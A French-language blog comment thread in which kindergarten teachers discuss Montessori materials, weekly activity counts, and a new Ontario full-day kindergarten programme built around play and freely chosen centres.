je maintiens que 15 par semaine ça fait beaucoup! ils n'auront l'occasion de manipuler le matériel qu'une seule fois du coup?? c'est dommage... à moins de reproposer un matériel déjà présenté mais en le complexifiant... je ne sais pas! Ils ne t'ont rien dit dans ta formation?? tu as peut être l'occasion d'en parler avec tes collègues? en tout cas, je suis curieuse de savoir comment ça se passe chez toi!
157louise6449Jeudi 9 Mai à 22:00Va voir le site de notre conseil scolaire http://www.nouvelon.ca/education/petite-enfance/paje et clique sur programme cadre. Ça va te permettre de voir ce que nous faisons. Moi, j'aime bien regarder comment vous faites les choses. Je n'ai pas encore reçu la formation mais rien n'est déjà préparé pour nous. C'est un nouveau programme. Nous somme à l'aire du TBI. Nous ne faisons pas de beaux sites de partage comme vous le faites si bien. Pour tout dire, je ne saurais même pas comment faire ma page web!!! Ce qui est différent c'est que nous n'avons plus besoin d'assigner un rang ou une place précise à une table. Il y a plus de jeu et moins de papier crayon. Ils peuvent choisir leurs centres et manger lorsqu'ils ont faim. Il semble y avoir beaucoup moins de structure et ça nous fait un peu peur. Je n'ai que 16 élèves donc pas d'éducatrice. Mais le programme permet d'avoir jusqu'à 30 élèves par classe. À partir de 20, nous avons une éducatrice. Est-ce qu'on peut communiquer par courriel? Le mien est louiselaliberte@outlook.com
pas de soucis pour communiquer par courriel, utilise ma rubrique me contacter
je vais aller voir le site dont tu me parles... à bientôt
159AladinesLundi 20 Mai à 20:46Merci pour ce travail.... je m'interesse à la pédagogie Montessori .... et un post de la liste Cafi m'a donné envie de m'y replonger... MERCI!!!!!
161AladinesLundi 20 Mai à 21:05on ne peut pas tout faire à la fois..... mais là je suis sur une réflexion pour un changement de pratiques l'année prochaine..... du coup je me documente!
163AladinesLundi 20 Mai à 21:22décidément edp aussi ily a un moment que je n'y suis pas allée.... revenons aux sources et aux bonnes habitudes!!! j'y vais de ce pas...
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